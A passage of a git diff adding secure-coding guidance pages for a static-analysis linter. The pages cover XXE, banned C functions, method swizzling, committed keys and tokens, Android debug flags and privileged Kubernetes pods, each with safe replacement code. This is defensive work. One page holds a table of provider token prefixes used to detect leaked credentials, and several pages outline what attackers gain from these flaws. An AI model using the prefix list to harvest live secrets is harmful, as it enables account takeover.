+Raise the severity when the parsed XML comes from a request body, an upload, or a SOAP endpoint. +`libxml_disable_entity_loader(false)` is the more serious of the two because its effect persists for +the remainder of the request and reaches parses elsewhere in the codebase. + +## References + +* [PHP: `libxml_disable_entity_loader`](https://www.php.net/manual/en/function.libxml-disable-entity-loader.php) +* [PHP: libxml constants](https://www.php.net/manual/en/libxml.constants.php) +* [OWASP: XXE Prevention Cheat Sheet — PHP](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#php) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS132786.md b/guidance/DS132786.md new file mode 100644 index 00000000..5d1d66cc --- /dev/null +++ b/guidance/DS132786.md @@ -0,0 +1,70 @@ +# Do not enable external entity resolution (Python lxml) + +## Summary + +* An `lxml` parser is being configured with entity resolution, DTD loading, or network access + enabled. +* Construct the parser with `resolve_entities=False`, `load_dtd=False` and `no_network=True`. + +## Details + +`lxml.etree.XMLParser` accepts several options that control how much of a document's own +instructions the parser will follow: + +* **`resolve_entities=True`** substitutes entity declarations, which is the mechanism behind XML + external entity attacks. It is enabled by default, so a parser constructed with no arguments + resolves entities. +* **`load_dtd=True`** reads the document's DTD, which enables both entity expansion and any + parameter entities it declares. +* **`no_network=False`** allows the parser to fetch remote resources, turning a parse into an + outbound request chosen by the document author. + +The consequences are local file disclosure, server-side request forgery, and memory exhaustion +through recursive entity expansion. + +This rule reports the options rather than attempting to decide whether a given parse is safe, so it +is raised for manual review. A line that already sets `resolve_entities=False` is excused. + +## Solution + +Configure the parser explicitly: + +``` python +from lxml import etree + +parser = etree.XMLParser( + resolve_entities=False, + load_dtd=False, + no_network=True, +) + +tree = etree.parse(source, parser) +``` + +Note that the parser must be passed to the parse call. `etree.parse(source)` without it uses default +settings, which resolve entities. + +For untrusted input, consider `defusedxml`, which wraps the standard library and lxml with safe +defaults and raises on entity declarations rather than processing them: + +``` python +from defusedxml.lxml import parse + +tree = parse(source) +``` + +The standard library's `xml.etree.ElementTree` does not resolve external entities, but it remains +vulnerable to entity expansion, so it is not a complete answer on its own. + +## Severity Considerations + +Raise the severity when the document is untrusted and `resolve_entities` is enabled together with +network access, since that combination is directly exploitable. Setting `load_dtd=True` alone on a +document you control is a lower concern. + +## References + +* [lxml: parser options](https://lxml.de/api/lxml.etree.XMLParser-class.html) +* [lxml FAQ: security considerations](https://lxml.de/FAQ.html) +* [defusedxml](https://pypi.org/project/defusedxml/) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS154190.md b/guidance/DS154190.md new file mode 100644 index 00000000..f8dbaf15 --- /dev/null +++ b/guidance/DS154190.md @@ -0,0 +1,65 @@ +# Banned Pointer Validation Function (IsBad*Ptr) + +## Summary + +* A member of the `IsBadWritePtr` / `IsBadReadPtr` family was detected. +* Remove the call. These functions cannot do what their names suggest, and using them can introduce + the very crashes they appear to prevent. + +## Details + +The `IsBad*Ptr` family attempts to determine whether a pointer is usable by dereferencing it inside a +structured exception handler and reporting whether an access violation occurred. That approach is +unsound for three separate reasons: + +* **It corrupts stack guard pages.** When the probed address falls on the guard page of a thread's + stack, the function catches the guard page exception that Windows uses to grow the stack. The + guard page is not re-armed, so the stack cannot grow later and the thread faults at a point far + from this call. +* **The answer is stale immediately.** Validity is a property of the moment of the check. Another + thread can unmap the region, or the memory can be freed, between the check and the use. +* **It converts defects into corruption.** A caller passing a wrong-but-mapped pointer, such as one + pointing into an unrelated live allocation, is reported as valid. The function then reads or + writes the wrong object silently instead of failing loudly. + +Microsoft's own documentation recommends against these functions for these reasons. + +## Solution + +Delete the check and let an invalid pointer fault at the point of use, where the crash dump names the +real defect: + +``` c +HRESULT Copy(const BYTE* src, size_t cb, BYTE* dest, size_t destSize) +{ + if (src == nullptr || dest == nullptr) + { + return E_POINTER; + } + if (cb > destSize) + { + return E_INVALIDARG; + } + + memcpy_s(dest, destSize, src, cb); + return S_OK; +} +``` + +Where the pointer crosses a trust boundary, validate by contract rather than by probing: require the +caller to pass an explicit length, use a type that carries its own bounds, or copy the data into +memory you own before using it. For pointers arriving from another process, the correct tools are +the marshalling layer or `VirtualQuery` on a region you then treat as untrusted, not a probe of an +individual address. + +## Severity Considerations + +Raise the severity when the call probes a buffer supplied by another process or by user input, since +the result is being used as a security decision that it cannot support. The finding stands even in +code that appears to work today, because the guard page problem is intermittent and load dependent. + +## References + +* [Windows: `IsBadWritePtr`](https://learn.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-isbadwriteptr) +* [Windows: `IsBadReadPtr`](https://learn.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-isbadreadptr) +* [Microsoft SDL: Banned function calls](https://learn.microsoft.com/previous-versions/bb288454(v=msdn.10)) diff --git a/guidance/DS154191.md b/guidance/DS154191.md new file mode 100644 index 00000000..3214dcc2 --- /dev/null +++ b/guidance/DS154191.md @@ -0,0 +1,65 @@ +# Banned Unbounded Memory Copy + +## Summary + +* `memcpy`, or one of its Windows aliases `CopyMemory` and `RtlCopyMemory`, was detected. +* Use `memcpy_s`, or another copy that is told the size of the destination buffer. + +## Details + +`memcpy` copies exactly the number of bytes it is given, with no knowledge of how large the +destination is. Every one of these is a buffer overflow, and none of them is diagnosed at the call +site: + +* the length is computed from the *source* rather than the destination, +* the length is attacker-influenced and not validated, +* the destination was resized, or is a different type, since the call was written, +* an arithmetic expression producing the length overflows and wraps to a small value. + +`CopyMemory` and `RtlCopyMemory` are macros over the same operation and carry the same risk. + +This finding is reported at moderate severity because a bounded, correct `memcpy` is common and +legitimate. It is a prompt to confirm that the length can never exceed the destination, not an +assertion that the call is wrong. + +## Solution + +Prefer the bounds-checked form, which takes the destination size as a separate argument: + +``` c +memcpy_s(dest, sizeof(dest), src, cb); +``` + +In C++, prefer a container or view that carries its own size, so the bound cannot drift away from +the buffer it describes: + +``` cpp +std::copy_n(src.begin(), count, dest.begin()); +``` + +Where the bounded variants are unavailable, validate explicitly and keep the check adjacent to the +copy: + +``` c +if (cb > destSize) +{ + return E_INVALIDARG; +} +memcpy(dest, src, cb); +``` + +Take particular care with lengths derived from arithmetic. Check for overflow before the copy rather +than trusting that the expression is small. + +## Severity Considerations + +Raise the severity when the length is derived from parsed input, a file header, or a network message, +since those are directly attacker-controlled. The finding can be lowered when both buffers are +fixed-size arrays in the same scope and the length is a compile-time constant. + +## References + +* [C11 Annex K: `memcpy_s`](https://en.cppreference.com/w/c/string/byte/memcpy) +* [Windows: `CopyMemory`](https://learn.microsoft.com/windows/win32/api/winbase/nf-winbase-copymemory) +* [Microsoft SDL: Banned function calls](https://learn.microsoft.com/previous-versions/bb288454(v=msdn.10)) +* [CWE-120: Buffer Copy without Checking Size of Input](https://cwe.mitre.org/data/definitions/120.html) diff --git a/guidance/DS154192.md b/guidance/DS154192.md new file mode 100644 index 00000000..dbb3f868 --- /dev/null +++ b/guidance/DS154192.md @@ -0,0 +1,68 @@ +# Banned Unbounded String Length Function + +## Summary + +* `strlen`, `wcslen`, `_tcslen` or `lstrlen` was detected. +* Use `strnlen_s` or `wcsnlen_s`, which stop at a caller-supplied maximum. + +## Details + +These functions scan forward from the pointer they are given until they find a null terminator. They +have no knowledge of the allocation's size, so if the buffer is not terminated within its bounds the +scan continues into adjacent memory. The result is an over-read that either returns a length larger +than the buffer, which then propagates into a subsequent copy, or faults on an unmapped page. + +Unterminated buffers are common in practice: + +* data read from a file, socket, or shared memory that was truncated, +* a fixed-size array filled exactly to capacity by `strncpy`, which does not terminate when the + source is at least as long as the destination, +* a struct field treated as a string but defined as a byte array. + +`lstrlen` additionally swallows access violations and returns zero, which converts a detectable +crash into a silent wrong answer. + +This is reported as a best-practice finding rather than a defect: `strlen` on a string literal or on +a buffer you just terminated yourself is correct. The finding is asking you to confirm that the +input is always terminated within its allocation. + +## Solution + +Use the bounded form and pass the size of the buffer: + +``` c +size_t n = strnlen_s(input, sizeof(input)); +``` + +On platforms without Annex K, `strnlen` is widely available and takes the same maximum: + +``` c +size_t n = strnlen(input, sizeof(input)); +``` + +In C++, prefer a type that carries its length so the question does not arise: + +``` cpp +std::string_view name{buffer, bufferLength}; +auto n = name.size(); +``` + +When data arrives from outside the program, terminate it explicitly on arrival rather than assuming +the producer did: + +``` c +buffer[sizeof(buffer) - 1] = '\0'; +``` + +## Severity Considerations + +Raise the severity when the argument comes from a file, a network message, or another process, +since those buffers are the ones most likely to be unterminated. The finding is not interesting for a +string literal or a buffer terminated a few lines earlier in the same function. + +## References + +* [C11 Annex K: `strnlen_s`](https://en.cppreference.com/w/c/string/byte/strlen) +* [Windows: `lstrlen`](https://learn.microsoft.com/windows/win32/api/winbase/nf-winbase-lstrlenw) +* [Microsoft SDL: Banned function calls](https://learn.microsoft.com/previous-versions/bb288454(v=msdn.10)) +* [CWE-125: Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html) diff --git a/guidance/DS154193.md b/guidance/DS154193.md new file mode 100644 index 00000000..51c6c8b1 --- /dev/null +++ b/guidance/DS154193.md @@ -0,0 +1,86 @@ +# Objective-C Method Swizzling + +## Summary + +* `class_addMethod` or `class_replaceMethod` was detected. +* Prefer subclassing, a category that adds behaviour, or an explicit delegate. Swizzling should be a + deliberate, reviewed decision rather than a convenience. + +## Details + +These functions modify a class's method table at runtime, so a selector begins resolving to a +different implementation for every caller in the process, including code in frameworks and third +party libraries that has no knowledge of the change. + +The security-relevant properties are: + +* **The result depends on load order.** Two components that swizzle the same selector produce + different behaviour depending on which ran first, and that order can change between builds. + Swizzling a security check is therefore not reliably in effect. +* **The change is invisible at the call site.** Reading the calling code gives no indication that the + method it invokes has been replaced, so review and static analysis of the caller are misleading. +* **Replacement can drop the original.** `class_replaceMethod` returns the previous implementation. + Failing to capture and chain it silently removes whatever the original did, including validation + or state maintenance that other code depends on. + +The SDL lists both functions as banned for these reasons, not because either is a vulnerability in +itself. This rule reports for manual review so the decision is recorded and justified. + +## Solution + +Prefer a subclass when you control instantiation: + +``` objc +@interface AuditedURLSession : NSURLSession +@end + +@implementation AuditedURLSession +- (NSURLSessionDataTask *)dataTaskWithRequest:(NSURLRequest *)request +{ + [self recordRequest:request]; + return [super dataTaskWithRequest:request]; +} +@end +``` + +Prefer a category that *adds* a new selector when you only need extra behaviour, since it cannot +displace anything: + +``` objc +@interface NSString (Validation) +- (BOOL)isValidAccountIdentifier; +@end +``` + +Where swizzling genuinely cannot be avoided, perform it once in `+load`, capture the previous +implementation, and always chain to it: + +``` objc ++ (void)load +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + Method original = class_getInstanceMethod(self, @selector(viewDidAppear:)); + IMP previous = method_getImplementation(original); + method_setImplementation(original, imp_implementationWithBlock(^(id self, BOOL animated) { + [Telemetry recordAppearance:self]; + ((void (*)(id, SEL, BOOL))previous)(self, @selector(viewDidAppear:), animated); + })); + }); +} +``` + +Never swizzle a method that performs a security check, such as certificate validation or an +authorization decision. Order dependence means the check cannot be guaranteed to run. + +## Severity Considerations + +Raise the severity when the swizzled selector participates in authentication, authorization, +cryptography, or transport security, and when the original implementation is not chained. Swizzling +confined to diagnostics or telemetry in a debug-only build is a lower concern. + +## References + +* [Apple: `class_replaceMethod`](https://developer.apple.com/documentation/objectivec/1418677-class_replacemethod) +* [Apple: `class_addMethod`](https://developer.apple.com/documentation/objectivec/1418901-class_addmethod) +* [Apple: Objective-C Runtime Programming Guide](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Introduction/Introduction.html) diff --git a/guidance/DS173238.md b/guidance/DS173238.md new file mode 100644 index 00000000..af925ede --- /dev/null +++ b/guidance/DS173238.md @@ -0,0 +1,66 @@ +# Private Key Material Committed to Source + +## Summary + +* A PEM-encoded private key block is present in source. +* Remove it, rotate the key, and load the replacement from Key Vault or the platform certificate + store at runtime. + +## Details + +A private key in a repository must be treated as already compromised, regardless of how private the +repository is: + +* **Everyone with read access has it.** That is usually a much larger group than the one entitled to + the key, and it includes anyone who has ever had access, since they may still hold a clone. +* **Deleting it does not remove it.** The blob stays in git history and remains reachable by commit + hash. It is present in every clone, every fork, and every backup taken since. +* **It spreads automatically.** CI caches, container image layers, and build artifacts all copy the + working tree. + +What the key controls determines the impact. A TLS server key allows impersonation of the service +and decryption of captured traffic where forward secrecy is not in use. An SSH key grants whatever +access it was authorised for. A signing key allows an attacker to produce artifacts your systems +will accept as genuine, which is the most serious case because it undermines the trust decisions +made downstream. + +## Solution + +Rotation comes first. Removing the file does not reduce risk, because the key is already +distributed. + +1. Issue a new key and deploy it. +2. Revoke the old one, and revoke any certificates issued against it. +3. Remove the material from source. Purging history is worth doing, but treat it as cleanup rather + than remediation. + +Then obtain the key at runtime instead of storing it: + +``` csharp +var client = new SecretClient(new Uri(keyVaultUri), new DefaultAzureCredential()); +KeyVaultSecret secret = await client.GetSecretAsync("service-signing-key"); +``` + +Better still, use a key that never leaves its store, so there is no material to leak: + +``` csharp +var cryptoClient = new CryptographyClient(keyId, new DefaultAzureCredential()); +SignResult result = await cryptoClient.SignDataAsync(SignatureAlgorithm.RS256, payload); +``` + +For test fixtures that genuinely need a key pair, generate one at test setup rather than committing +a fixed key, so there is nothing to mistake for a live credential. + +## Severity Considerations + +Reported as critical. Raise it further for a signing key or a certificate authority key, where the +consequence is forged artifacts rather than access to one system. A key generated inside a test that +never leaves memory is not a finding; a key file checked in "only for tests" is, because nothing +prevents it being used elsewhere. + +## References + +* [Azure Key Vault: about keys](https://learn.microsoft.com/azure/key-vault/keys/about-keys) +* [Azure: DefaultAzureCredential](https://learn.microsoft.com/dotnet/azure/sdk/authentication/credential-chains) +* [GitHub: removing sensitive data from a repository](https://docs.github.com/code-security/getting-started/removing-sensitive-data-from-a-repository) +* [CWE-321: Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) diff --git a/guidance/DS173239.md b/guidance/DS173239.md new file mode 100644 index 00000000..ac18e7e3 --- /dev/null +++ b/guidance/DS173239.md @@ -0,0 +1,75 @@ +# Provider Access Token Committed to Source + +## Summary + +* A token matching a well-known provider format is present in source. +* Rotate it now, then read credentials at runtime from Key Vault or a managed identity. + +## Details + +The prefixes matched here are assigned by the issuing provider and are not produced by ordinary +code, so a match is almost always a real credential rather than a coincidence: + +| Prefix | Provider | +|---|---| +| `ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`, `github_pat_` | GitHub personal access and app tokens | +| `AKIA` | AWS access key ID | +| `AIza` | Google API key | +| `xoxb-`, `xoxp-`, `xoxa-`, `xoxr-`, `xoxs-` | Slack | +| `sk_live_`, `rk_live_` | Stripe live secret keys | +| `npm_` | npm automation token | +| `SG.` | SendGrid | +| `glpat-` | GitLab personal access token | + +A committed token is disclosed to everyone with repository access and stays in git history after +deletion. Automated scrapers watch public repositories and public forks specifically for these +prefixes, and tokens have been observed in use within minutes of being pushed. + +The blast radius is often wider than the author expected. A GitHub PAT typically carries `repo` +scope across every repository the user can reach, not just this one. An npm automation token can +publish, which makes it a supply chain compromise rather than a single-repository one. + +## Solution + +Rotate first. Removing the line does not help, because the token is already distributed. + +1. Revoke the token at the provider. +2. Issue a replacement with the narrowest scope and shortest lifetime that works. +3. Store it outside source and read it at runtime. + +Prefer an identity with no secret at all where the platform offers one: + +``` csharp +var client = new SecretClient(new Uri(keyVaultUri), new DefaultAzureCredential()); +``` + +In CI, use the workflow's own short-lived token or OIDC federation rather than a stored PAT: + +``` yaml +permissions: + contents: read + id-token: write +``` + +For local development, use an environment variable loaded from an ignored file, so the value never +enters the working tree: + +``` javascript +const token = process.env.GITHUB_TOKEN; +``` + +Enable push protection on the repository so the next one is blocked before it is committed. + +## Severity Considerations + +Reported as critical. It is more serious again for a public repository, where automated scraping +makes exploitation near-immediate, and for tokens that can publish packages or modify +infrastructure. A revoked token left in source is still worth removing, since it invites confusion +during an incident. + +## References + +* [GitHub: about secret scanning and push protection](https://docs.github.com/code-security/secret-scanning/about-secret-scanning) +* [Azure: DefaultAzureCredential](https://learn.microsoft.com/dotnet/azure/sdk/authentication/credential-chains) +* [GitHub Actions: OIDC hardening](https://docs.github.com/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect) +* [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) diff --git a/guidance/DS173240.md b/guidance/DS173240.md new file mode 100644 index 00000000..98ceea6d --- /dev/null +++ b/guidance/DS173240.md @@ -0,0 +1,72 @@ +# Azure Storage Account Key Committed to Source + +## Summary + +* A storage connection string containing `AccountKey`, or a shared access signature, is present in + source. +* Use a managed identity with `DefaultAzureCredential`. Where a key is unavoidable, keep it in Key + Vault and read it at runtime. + +## Details + +An Azure Storage account key is the most privileged credential the account has. It is not scoped in +any way: it grants full control of every container, blob, queue, table and file share in the +account, including deleting all of them. It also allows minting shared access signatures, so +possession of the key means possession of every SAS that could ever be derived from it. + +Two properties make a leaked key particularly awkward: + +* **It cannot be revoked individually.** There are only two keys per account, and containing a leak + means rotating one and updating every consumer, which is a coordinated change rather than a quick + fix. +* **It does not expire.** Unlike a token, it stays valid until someone rotates it, so a key leaked + years ago in git history is still live today unless it was deliberately rotated. + +A shared access signature is narrower but still a bearer credential: anyone holding the URL has +whatever access it encodes, until it expires. Committed SAS URLs are frequently long-lived, and the +`sig` component is the credential, so redacting the account name does not help. + +## Solution + +Prefer an identity, so there is no key to leak: + +``` csharp +var client = new BlobServiceClient( + new Uri("https://contoso.blob.core.windows.net"), + new DefaultAzureCredential()); +``` + +Grant it the narrowest role that works, such as Storage Blob Data Reader, rather than an account key +equivalent. This also gives per-identity audit records, which an account key cannot provide because +every caller looks the same. + +Where a key genuinely cannot be avoided, keep it in Key Vault: + +``` csharp +var secrets = new SecretClient(new Uri(keyVaultUri), new DefaultAzureCredential()); +string connectionString = (await secrets.GetSecretAsync("storage-connection")).Value.Value; +``` + +If a SAS is required, generate it at runtime with a short expiry and the minimum permissions, and +prefer a user delegation SAS, which is signed with Entra credentials and can be revoked without +rotating the account key. + +If a key has been committed, rotate it. Consider disabling shared key access on the account +afterwards so the class of problem cannot recur: + +``` bash +az storage account update --name contoso --allow-shared-key-access false +``` + +## Severity Considerations + +Reported as critical, because the credential is unscoped and long-lived. An account key is more +serious than a SAS; among SAS findings, raise the severity for a long expiry, broad permissions, or +an account holding customer data. + +## References + +* [Azure Storage: authorize access with Entra ID](https://learn.microsoft.com/azure/storage/blobs/authorize-access-azure-active-directory) +* [Azure Storage: prevent shared key authorization](https://learn.microsoft.com/azure/storage/common/shared-key-authorization-prevent) +* [Azure Storage: grant limited access using SAS](https://learn.microsoft.com/azure/storage/common/storage-sas-overview) +* [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) diff --git a/guidance/DS180000.md b/guidance/DS180000.md new file mode 100644 index 00000000..b8417ace --- /dev/null +++ b/guidance/DS180000.md @@ -0,0 +1,72 @@ +# Android Debuggable Flag Enabled + +## Summary + +* The `android:debuggable` attribute is set to `true` in the application manifest. +* Set `android:debuggable` to `false`, or remove the attribute entirely, before shipping a release build. + +## Details + +`android:debuggable` controls whether the application can be debugged on a device, including on +devices running a production build of the operating system. When it is enabled: + +* Any user with USB debugging access can attach a debugger to the process, read and modify memory, + and step through application code. +* Other applications holding the `RUN_INSTRUMENTATION` permission can interact with the process. +* Application private data under `/data/data/` becomes reachable via `run-as`, even on + devices that are not rooted. + +This turns a signed release artifact into one that leaks its own runtime state and any secrets it +holds in memory, and it undermines integrity checks that assume the process cannot be tampered with. + +The attribute is not needed for day-to-day development. The Android build tooling injects +`android:debuggable="true"` automatically for debug builds, so declaring it in `AndroidManifest.xml` +affects release builds as well and is almost always unintended. + +## Solution + +Remove the attribute from `AndroidManifest.xml`: + +``` xml + + +``` + +If it must be present, set it explicitly to `false`: + +``` xml + + +``` + +Let the build system control the flag instead. In Gradle, the `debuggable` setting on a build type +applies the attribute only to that build type: + +``` groovy +android { + buildTypes { + release { + debuggable false + } + debug { + debuggable true + } + } +} +``` + +## Severity Considerations + +Raise the severity when the application handles authentication material, payment data, or personal +data, since debugger access exposes that data in memory. A finding in a manifest that is only used +for local development builds, and is not part of the release variant, can be lowered. + +## References + +* [Android: `` manifest element](https://developer.android.com/guide/topics/manifest/application-element#debug) +* [Android: Configure build variants](https://developer.android.com/build/build-variants) +* [OWASP MASVS: Platform Interaction Requirements](https://mas.owasp.org/MASVS/) +* [OWASP MASTG: Testing whether the app is debuggable](https://mas.owasp.org/MASTG/tests/android/MASVS-RESILIENCE/MASTG-TEST-0222/) diff --git a/guidance/DS180001.md b/guidance/DS180001.md new file mode 100644 index 00000000..85f05947 --- /dev/null +++ b/guidance/DS180001.md @@ -0,0 +1,58 @@ +# WebView Contents Debugging Enabled + +## Summary + +* `WebView.setWebContentsDebuggingEnabled(true)` was detected. +* Enable WebView debugging only in debug builds, and gate the call on a build-type check. + +## Details + +`setWebContentsDebuggingEnabled(true)` exposes every `WebView` in the process to Chrome DevTools over +the Android Debug Bridge. The setting is process-wide rather than per-`WebView`, so a single call +enables inspection of all web content the application renders. + +With it enabled, anyone with ADB access to the device can: + +* Read the DOM, `localStorage`, `sessionStorage`, and cookies for loaded origins, including session + tokens held by an embedded sign-in flow. +* Execute arbitrary JavaScript in the page context, which reaches any interface exported through + `addJavascriptInterface`. +* Observe network requests issued by the `WebView`, including request headers. + +Unlike `android:debuggable`, this setting is independent of the manifest debuggable flag: it takes +effect in a release-signed, non-debuggable application. It therefore has to be controlled explicitly +in code. + +## Solution + +Gate the call so it only runs in debug builds: + +``` java +if (BuildConfig.DEBUG) { + WebView.setWebContentsDebuggingEnabled(true); +} +``` + +The equivalent check using the manifest flag, useful when `BuildConfig` is not available: + +``` java +if ((getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE) != 0) { + WebView.setWebContentsDebuggingEnabled(true); +} +``` + +Do not rely on stripping the call before release manually. Prefer a build-type check the compiler +and shrinker can evaluate, so the call is removed from release artifacts. + +## Severity Considerations + +Raise the severity when the `WebView` renders authenticated content, hosts a sign-in flow, or is +bridged to native code through `addJavascriptInterface`, because debugging access then reaches +credentials or native functionality. Lower it when the call is already inside a verified +debug-only branch. + +## References + +* [Android: `WebView.setWebContentsDebuggingEnabled`](https://developer.android.com/reference/android/webkit/WebView#setWebContentsDebuggingEnabled(boolean)) +* [Android: Remote debugging WebViews](https://developer.chrome.com/docs/devtools/remote-debugging/webviews) +* [OWASP MASTG: Testing WebView debugging](https://mas.owasp.org/MASTG/tests/android/MASVS-RESILIENCE/MASTG-TEST-0222/) diff --git a/guidance/DS180002.md b/guidance/DS180002.md new file mode 100644 index 00000000..6e9b3a5e --- /dev/null +++ b/guidance/DS180002.md @@ -0,0 +1,60 @@ +# Android StrictMode Policy Configured + +## Summary + +* A `StrictMode` thread or VM policy is being installed. +* `StrictMode` is a development-time diagnostic. Confirm the call is limited to debug builds. + +## Details + +`StrictMode.setThreadPolicy` and `StrictMode.setVmPolicy` install runtime policies that detect +accidental disk and network access on the main thread, leaked `Closeable` objects, leaked SQLite +cursors, and similar defects. The facility is intended for development, and the Android +documentation states it should not be enabled in release builds. + +Leaving it enabled in a shipped application has two consequences: + +* **Diagnostic disclosure.** Violations are written to the system log with stack traces and, for + some detectors, file paths and URIs. That output describes internal structure to anyone reading + logs on the device. +* **Availability risk.** A policy built with `penaltyDeath()` or `penaltyDeathOnNetwork()` terminates + the process when a violation is detected. A violation that only occurs on a slow device or an + unusual network path then becomes a crash for users rather than a log entry for a developer. + +`StrictMode` is not itself a vulnerability, which is why this rule is reported for manual review +rather than as a defect. The finding is asking you to confirm that the call cannot execute in a +release build. + +## Solution + +Gate the policy installation on the build type: + +``` java +if (BuildConfig.DEBUG) { + StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() + .detectAll() + .penaltyLog() + .build()); + + StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() + .detectLeakedClosableObjects() + .penaltyLog() + .build()); +} +``` + +Prefer `penaltyLog()` over `penaltyDeath()` so that a missed violation degrades into a log entry +rather than a process kill. If `penaltyDeath()` is used to enforce a policy during testing, keep it +strictly inside the debug branch. + +## Severity Considerations + +Raise the severity when the policy uses `penaltyDeath()` or `penaltyDeathOnNetwork()` and is not +inside a debug-only branch, since that is a direct availability risk. Lower it when the call is +already gated on `BuildConfig.DEBUG`. + +## References + +* [Android: `StrictMode`](https://developer.android.com/reference/android/os/StrictMode) +* [Android: `StrictMode.VmPolicy.Builder`](https://developer.android.com/reference/android/os/StrictMode.VmPolicy.Builder) +* [Android: Configure build variants](https://developer.android.com/build/build-variants) diff --git a/guidance/DS200000.md b/guidance/DS200000.md new file mode 100644 index 00000000..ec9ea430 --- /dev/null +++ b/guidance/DS200000.md @@ -0,0 +1,64 @@ +# Kubernetes Container Runs Privileged + +## Summary + +* A container sets `securityContext.privileged: true`. +* Remove it. Grant the specific Linux capabilities the workload needs instead. + +## Details + +A privileged container is not meaningfully isolated from the node. The container runtime disables +almost every boundary it would normally apply: all Linux capabilities are granted, seccomp and +AppArmor confinement is dropped, and every device under `/dev` on the host becomes accessible. + +The practical result is that code execution inside a privileged container is equivalent to code +execution on the node. Well-known consequences include mounting the host's root filesystem and +editing files on it, loading kernel modules, reading the memory of processes belonging to other +pods, and using the node's kubelet credentials to act against the cluster. If the node runs pods +belonging to other tenants or other trust levels, all of them are reachable. + +`privileged: true` is disallowed by both the Baseline and Restricted Pod Security Standards. + +## Solution + +Remove the setting and request only what is actually needed. Most workloads that reach for +`privileged` need one capability: + +``` yaml +securityContext: + privileged: false + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 + capabilities: + drop: + - ALL + add: + - NET_BIND_SERVICE +``` + +Enforce it at the namespace level so a future manifest cannot reintroduce it: + +``` yaml +apiVersion: v1 +kind: Namespace +metadata: + name: prod + labels: + pod-security.kubernetes.io/enforce: restricted +``` + +Where a node-level agent genuinely requires host access, such as a CNI plugin or a storage driver, +run it on a dedicated node pool with taints so it does not share a node with application workloads. + +## Severity Considerations + +This is reported as critical because it removes the isolation the rest of the cluster's security +model assumes. It is more serious again on a shared or multi-tenant cluster, where a container +escape reaches other tenants' workloads. + +## References + +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Kubernetes: Configure a Security Context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [CIS Kubernetes Benchmark on AKS](https://learn.microsoft.com/azure/aks/cis-kubernetes) diff --git a/guidance/DS200001.md b/guidance/DS200001.md new file mode 100644 index 00000000..861b26b5 --- /dev/null +++ b/guidance/DS200001.md @@ -0,0 +1,59 @@ +# Kubernetes Container Allows Privilege Escalation + +## Summary + +* A container leaves `allowPrivilegeEscalation` at `true`. +* Set it to `false`. The Restricted Pod Security Standard requires this. + +## Details + +`allowPrivilegeEscalation` controls the `no_new_privs` flag on the container process. When it is +true, a process can end up with more privileges than the process that started it, through: + +* **setuid and setgid binaries.** A binary in the image owned by root with the setuid bit set will + run as root even though the container started as an unprivileged user. +* **file capabilities.** A binary carrying capabilities in its extended attributes gains them on + exec, regardless of the calling process's own set. + +This matters most in exactly the case where the other controls appear to have been applied. A +container running as uid 10001 with a dropped capability set looks constrained, but if the image +contains a setuid root binary, an attacker with code execution can still become root inside the +container and then attack whatever the container can reach. + +Note that setting `privileged: true` forces `allowPrivilegeEscalation` to true regardless of what +you write here. + +## Solution + +``` yaml +securityContext: + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 + capabilities: + drop: + - ALL +``` + +Combine it with a seccomp profile, which the Restricted standard also requires: + +``` yaml +securityContext: + seccompProfile: + type: RuntimeDefault +``` + +Enforce the Restricted profile at the namespace level rather than relying on each manifest to set +the field correctly. + +## Severity Considerations + +Raise the severity when the image is built from a general-purpose base image, since those commonly +carry setuid binaries such as `mount`, `su` and `ping`. A distroless or scratch image with no setuid +binaries reduces, but does not remove, the concern. + +## References + +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Kubernetes: Set the security context for a container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [Linux: `no_new_privs`](https://docs.kernel.org/userspace-api/no_new_privs.html) diff --git a/guidance/DS200002.md b/guidance/DS200002.md new file mode 100644 index 00000000..241b6288 --- /dev/null +++ b/guidance/DS200002.md @@ -0,0 +1,70 @@ +# Kubernetes Pod Shares a Host Namespace + +## Summary + +* The pod sets `hostPID`, `hostIPC` or `hostNetwork` to `true`. +* Remove the setting. All three are disallowed by the Baseline and Restricted Pod Security + Standards. + +## Details + +Each of these places the pod in a namespace belonging to the node rather than one of its own, which +removes a specific isolation boundary: + +* **`hostPID`** makes every process on the node visible in the container's `/proc`. Process + arguments are world-readable, so any secret passed on a command line by any workload on that node + is exposed. With `SYS_PTRACE` it also allows attaching to those processes and reading their + memory. +* **`hostIPC`** shares the node's System V IPC and POSIX shared memory, including `/dev/shm`. A pod + can then read or corrupt shared memory segments belonging to the host or to other pods. +* **`hostNetwork`** puts the pod directly on the node's network stack. It can bind privileged host + ports, observe traffic, reach services bound to the node's loopback interface, and bypass + NetworkPolicy entirely, since policy is applied to pod network namespaces. + +`hostNetwork` also grants reachability to the cloud instance metadata endpoint from the node's +perspective, which is a common route to node credentials. + +## Solution + +Remove the fields. They default to false: + +``` yaml +apiVersion: v1 +kind: Pod +spec: + hostPID: false + hostIPC: false + hostNetwork: false + containers: + - name: app + image: contoso/app@sha256:0123456789abcdef +``` + +To expose a service, use a Service object rather than `hostNetwork`: + +``` yaml +apiVersion: v1 +kind: Service 